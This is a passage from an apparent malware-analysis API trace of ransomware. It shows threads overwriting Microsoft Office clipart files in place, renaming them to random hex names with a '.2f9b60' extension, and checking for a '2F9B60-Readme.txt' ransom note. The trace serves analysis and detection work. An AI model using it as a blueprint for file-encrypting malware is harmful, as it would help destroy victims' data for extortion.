out: _Dest="4d") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="05") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="df") returned 2 [0126.344] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="ed") returned 2 [0126.344] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="fd") returned 2 [0126.344] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="c4") returned 2 [0126.344] RtlInitAnsiString (in: DestinationString=0x23faf988, SourceString="9f1554cdc12163f46842cd01a51c208d30984d05dfedfdc4" | out: DestinationString="9f1554cdc12163f46842cd01a51c208d30984d05dfedfdc4") [0126.344] RtlAnsiStringToUnicodeString (in: DestinationString=0x23faf958, SourceString="9f1554cdc12163f46842cd01a51c208d30984d05dfedfdc4", AllocateDestinationString=1 | out: DestinationString="9f1554cdc12163f46842cd01a51c208d30984d05dfedfdc4") returned 0x0 [0126.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0126.345] wcscat (in: _Dest=0x4205cc90, _Source="9f1554cdc121" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121" [0126.345] wcscat (in: _Dest=0x4205cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121.2f9b60" [0126.345] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121.2f9b60", NtPathName=0x23faf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f1554cdc121.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0126.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0126.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.346] NtQueryInformationFile (in: FileHandle=0xfdc, IoStatusBlock=0x23faf998, FileInformation=0x23faf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23faf998, FileInformation=0x23faf9a8) returned 0x0 [0126.346] NtSetInformationFile (FileHandle=0xfdc, IoStatusBlock=0x23faf998, FileInformation=0x23faf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0126.353] FlushFileBuffers (hFile=0xfdc) returned 1 [0126.362] CloseHandle (hObject=0xfdc) returned 1 [0126.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cc90 [0126.363] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.363] wcscat (in: _Dest=0x4205cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0126.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0126.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ce70) returned 1 Thread: id = 1652 os_tid = 0x1b54 [0126.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0126.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF", dwFileAttributes=0x20) returned 1 [0126.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.381] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2421fc60 | out: lpFileSize=0x2421fc60*=5270) returned 1 [0126.381] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1492, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.381] ReadFile (in: hFile=0x1020, lpBuffer=0x2421fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2421fc28, lpOverlapped=0x0 | out: lpBuffer=0x2421fbe0*, lpNumberOfBytesRead=0x2421fc28*=0x4, lpOverlapped=0x0) returned 1 [0126.465] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0126.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0126.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.465] NtQuerySystemTime (in: CurrentTime=0x2421fb20 | out: CurrentTime=0x2421fb20*=132462177317338000) returned 0x0 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6112f9d9 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x409d7409 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x1b8f8d91 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x20c0e2b8 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x7068eaca [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6da80d84 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x316e1a96 [0126.465] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x1495aee9 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6fba15b5 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x7916156e [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x2fede821 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x1006f9e3 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6922b102 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6e5f87c2 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x4d5e1093 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6c874723 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0xf62d563 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x7068eaca [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6795a92e [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x7e443748 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x25db0463 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x5699b0c8 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x1f341ca2 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x7916156e [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x210766c1 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6b0cfecb [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x1fc2fffc [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x6b0cfecb [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x417458fe [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x3f924d43 [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x24d367ee [0126.466] RtlRandomEx (in: Seed=0x2421fb10 | out: Seed=0x2421fb10) returned 0x47028380 [0126.478] ReadFile (in: hFile=0x1020, lpBuffer=0x41d1b4e0, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x2421fb10, lpOverlapped=0x0 | out: lpBuffer=0x41d1b4e0*, lpNumberOfBytesRead=0x2421fb10*=0x1496, lpOverlapped=0x0) returned 1 [0126.530] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.530] WriteFile (in: hFile=0x1020, lpBuffer=0x41d178d0*, nNumberOfBytesToWrite=0x1496, lpNumberOfBytesWritten=0x2421fb14, lpOverlapped=0x0 | out: lpBuffer=0x41d178d0*, lpNumberOfBytesWritten=0x2421fb14*=0x1496, lpOverlapped=0x0) returned 1 [0128.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0128.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0128.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a960) returned 1 [0128.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d178d0) returned 1 [0128.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1b4e0) returned 1 [0128.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8668c0) returned 1 [0128.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0128.005] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.005] WriteFile (in: hFile=0x1020, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2421fc30, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2421fc30*=0x104, lpOverlapped=0x0) returned 1 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867a40 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ec0 [0128.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ec0) returned 1 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ec0 [0128.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ef0 [0128.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ef0) returned 1 [0128.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0128.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0128.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20264ef0 [0128.016] sprintf (in: _Dest=0x20264ef0, _Format="%c%c" | out: _Dest="82") returned 2 [0128.016] sprintf (in: _Dest=0x20264ef2, _Format="%c%c" | out: _Dest="cd") returned 2 [0128.016] sprintf (in: _Dest=0x20264ef4, _Format="%c%c" | out: _Dest="33") returned 2 [0128.016] sprintf (in: _Dest=0x20264ef6, _Format="%c%c" | out: _Dest="0d") returned 2 [0128.016] sprintf (in: _Dest=0x20264ef8, _Format="%c%c" | out: _Dest="d1") returned 2 [0128.016] sprintf (in: _Dest=0x20264efa, _Format="%c%c" | out: _Dest="65") returned 2 [0128.016] sprintf (in: _Dest=0x20264efc, _Format="%c%c" | out: _Dest="47") returned 2 [0128.016] sprintf (in: _Dest=0x20264efe, _Format="%c%c" | out: _Dest="db") returned 2 [0128.016] sprintf (in: _Dest=0x20264f00, _Format="%c%c" | out: _Dest="cd") returned 2 [0128.016] sprintf (in: _Dest=0x20264f02, _Format="%c%c" | out: _Dest="58") returned 2 [0128.016] sprintf (in: _Dest=0x20264f04, _Format="%c%c" | out: _Dest="5b") returned 2 [0128.016] sprintf (in: _Dest=0x20264f06, _Format="%c%c" | out: _Dest="0f") returned 2 [0128.016] sprintf (in: _Dest=0x20264f08, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.016] sprintf (in: _Dest=0x20264f0a, _Format="%c%c" | out: _Dest="cf") returned 2 [0128.016] sprintf (in: _Dest=0x20264f0c, _Format="%c%c" | out: _Dest="55") returned 2 [0128.016] sprintf (in: _Dest=0x20264f0e, _Format="%c%c" | out: _Dest="d0") returned 2 [0128.016] sprintf (in: _Dest=0x20264f10, _Format="%c%c" | out: _Dest="7a") returned 2 [0128.017] sprintf (in: _Dest=0x20264f12, _Format="%c%c" | out: _Dest="42") returned 2 [0128.017] RtlInitAnsiString (in: DestinationString=0x2421fca8, SourceString="82cd330dd16547dbcd585b0f9ccf55d07a42" | out: DestinationString="82cd330dd16547dbcd585b0f9ccf55d07a42") [0128.017] RtlAnsiStringToUnicodeString (in: DestinationString=0x2421fc78, SourceString="82cd330dd16547dbcd585b0f9ccf55d07a42", AllocateDestinationString=1 | out: DestinationString="82cd330dd16547dbcd585b0f9ccf55d07a42") returned 0x0 [0128.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cbb0 [0128.017] wcscat (in: _Dest=0x1b85cd50, _Source="82cd330dd" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd" [0128.017] wcscat (in: _Dest=0x1b85cd50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd.2f9b60" [0128.017] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd.2f9b60", NtPathName=0x2421fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\82cd330dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8615f0 [0128.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.019] NtQueryInformationFile (in: FileHandle=0x1020, IoStatusBlock=0x2421fcb8, FileInformation=0x2421fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2421fcb8, FileInformation=0x2421fcc8) returned 0x0 [0128.019] NtSetInformationFile (FileHandle=0x1020, IoStatusBlock=0x2421fcb8, FileInformation=0x2421fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cd50) returned 1 [0128.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cbb0) returned 1 [0128.021] FlushFileBuffers (hFile=0x1020) returned 1 [0128.038] CloseHandle (hObject=0x1020) returned 1 [0128.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.039] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0128.040] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0128.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0128.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 Thread: id = 1653 os_tid = 0x1b58 [0126.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0126.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", dwFileAttributes=0x20) returned 1 [0126.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0126.494] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x2344fe00 | out: lpFileSize=0x2344fe00*=49546) returned 1 [0126.494] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0xc186, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.494] ReadFile (in: hFile=0x14b8, lpBuffer=0x2344fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2344fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2344fd80*, lpNumberOfBytesRead=0x2344fdc8*=0x4, lpOverlapped=0x0) returned 1 [0126.496] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0126.497] NtQuerySystemTime (in: CurrentTime=0x2344fcc0 | out: CurrentTime=0x2344fcc0*=132462177317650000) returned 0x0 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x5ab67546 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0xfe80b8e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x273c7a3e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x22bc5c62 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x78fc35cd [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0xcc2cb71 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x36248cbb [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x67c19ed8 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x1f341ca2 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0xf62d563 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x2ee40af9 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x585bdf3e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x24d367ee [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x5e7cff3e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x6ce5808e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x13a7a030 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x56a181cd [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x21b87a47 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x1a83c1f7 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x16330f63 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x4a550f7e [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x7a6ea5c6 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x15d3f6e5 [0126.497] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x4604e8dd [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x218871f [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x3ceecf56 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x507a2955 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0xf59aa51 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x4d4fb008 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x3e6b83c2 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0xaec9677 [0126.498] RtlRandomEx (in: Seed=0x2344fcb0 | out: Seed=0x2344fcb0) returned 0x6174b1db [0126.506] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.506] ReadFile (in: hFile=0x14b8, lpBuffer=0x41d44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2344fd20, lpOverlapped=0x0 | out: lpBuffer=0x41d44990*, lpNumberOfBytesRead=0x2344fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0126.615] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0126.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0126.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9850 [0126.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9850) returned 1 [0126.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c8c1b0 [0126.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9850 [0126.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9880 [0126.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9880) returned 1 [0126.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0126.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0126.616] WriteFile (in: hFile=0x14b8, lpBuffer=0x41c8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2344fd20, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesWritten=0x2344fd20*=0x3c00, lpOverlapped=0x0) returned 1 [0126.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c8c1b0) returned 1 [0126.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d44990) returned 1 [0126.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85aae0 [0126.667] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.667] WriteFile (in: hFile=0x14b8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2344fdd0, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2344fdd0*=0x10a, lpOverlapped=0x0) returned 1 [0126.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0126.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0126.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0126.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0126.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0126.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0126.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c10) returned 1 [0126.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0126.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0126.674] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="4b") returned 2 [0126.674] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="f1") returned 2 [0126.674] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="f0") returned 2 [0126.674] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="45") returned 2 [0126.674] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="1d") returned 2 [0126.674] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="1a") returned 2 [0126.674] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="46") returned 2 [0126.674] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="66") returned 2 [0126.675] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="2c") returned 2 